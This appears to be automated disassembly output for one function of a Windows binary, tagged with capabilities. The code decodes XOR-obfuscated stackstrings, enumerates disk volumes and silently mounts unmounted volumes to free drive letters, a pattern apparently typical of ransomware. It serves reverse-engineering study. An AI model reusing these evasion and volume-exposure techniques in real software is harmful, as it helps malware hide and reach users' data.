Function at 0x40b8a2
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
push ebx
push esi
push 8
pop ecx
xor ebx, ebx
call fcn.00405c2d
mov esi, eax
test esi, esi
je 0x40bb5b
mov dword [ebp - 0x20], 0x3f
mov ecx, dword [ebp - 0x20]
xor cl, 0x5f
mov byte [ebp - 0x1c], cl
mov ecx, dword [ebp - 0x20]
inc cl
mov byte [ebp - 0x1b], cl
mov eax, dword [ebp - 0x20]
add al, 2
xor al, 0x3a
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x20]
add al, 3
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x20]
add al, 4
xor al, 0x5c
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x20]
add al, 5
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x20]
add al, 6
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x16], al
xor edx, edx
mov al, byte [ebp - 0x1c]
mov al, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x20]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x1c], cl
inc edx
cmp edx, 7
jb 0x40b90d
push edi
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x15], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edi, edi
push esi
mov word [esi], di
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40b94b
lea eax, [edi + 0x41]
mov word [ebp + ebx*2 - 0x80], ax
inc ebx
inc edi
cmp di, 0x1a
jb 0x40b933
mov ecx, 0x10000
call fcn.00405c2d
mov edi, eax
test edi, edi
je 0x40bb53
push 0x8000
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0x48], eax
test ebx, ebx
je 0x40bb43
push 0x200
lea ecx, [ebp - 0x280]
call fcn.00405c85
and dword [ebp - 0x4c], 0
lea eax, [ebp - 0x4c]
add esp, 4
push eax
push pe_nt_image_headers32
mov eax, ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40b9c1
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40bb2c
mov ax, word [ebp + ebx*2 - 0x82]
dec ebx
push edi
push esi
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov byte [ebp - 0x42], 0x5b
mov byte [ebp - 0x41], 5
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], 5
mov byte [ebp - 0x3e], 0x71
mov byte [ebp - 0x3d], 5
mov byte [ebp - 0x3c], 0x7a
mov byte [ebp - 0x3b], 5
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 5
mov byte [ebp - 0x38], 0x6a
mov byte [ebp - 0x37], 5
mov byte [ebp - 0x36], 0x3f
mov byte [ebp - 0x35], 5
mov byte [ebp - 0x34], 0x25
mov byte [ebp - 0x33], 5
mov byte [ebp - 0x32], 0x2a
mov byte [ebp - 0x31], 5
mov byte [ebp - 0x30], 0x78
mov byte [ebp - 0x2f], 5
mov byte [ebp - 0x2e], 0x25
mov byte [ebp - 0x2d], 5
mov byte [ebp - 0x2c], 0x32
mov byte [ebp - 0x2b], 5
mov byte [ebp - 0x2a], 0x43
mov byte [ebp - 0x29], 5
mov byte [ebp - 0x28], 0x25
mov byte [ebp - 0x27], 5
mov byte [ebp - 0x26], 0x2a
mov byte [ebp - 0x25], 5
mov byte [ebp - 0x24], 0x78
mov byte [ebp - 0x23], 5
mov byte [ebp - 0x22], 5
mov byte [ebp - 0x21], 0
mov al, byte [ebp - 0x42]
xor eax, eax
sub byte [ebp + eax - 0x42], 5
inc eax
cmp eax, 0x21
jb 0x40ba62
mov dword [ebp - 0x14], 0x47
mov eax, dword [ebp - 0x14]
xor al, 0x6d
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x14]
inc al
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x14]
add al, 2
xor al, 0x6f
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x14]
add al, 3
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x14]
add al, 4
xor al, 0x75
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x14]
add al, 5
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x14]
add al, 6
xor al, 0x6e
mov byte [ebp - 0xa], al
mov eax, dword [ebp - 0x14]
add al, 7
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x14]
add al, 8
xor al, 0x74
mov byte [ebp - 8], al
mov eax, dword [ebp - 0x14]
add al, 9
mov byte [ebp - 7], al
mov eax, dword [ebp - 0x14]
add al, 0xa
xor al, 0x65
mov byte [ebp - 6], al
mov eax, dword [ebp - 0x14]
add al, 0xb
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x14]
add al, 0xc
xor al, 0x64
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x14]
add al, 0xd
mov byte [ebp - 3], al
mov eax, dword [ebp - 0x14]
add al, 0xe
mov byte [ebp - 1], 0
mov byte [ebp - 2], al
xor edx, edx
mov al, byte [ebp - 0x10]
mov al, byte [ebp + edx - 0x10]
mov ecx, dword [ebp - 0x14]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x10], cl
inc edx
cmp edx, 0xf
jb 0x40bb01
push esi
push edi
lea eax, [ebp - 0x42]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00411c06
add esp, 0x10
push 0x8000
push edi
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40b975
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, edi
call fcn.00405cd2
mov ecx, esi
call fcn.00405cd2
pop edi
pop esi
pop ebx
leave
ret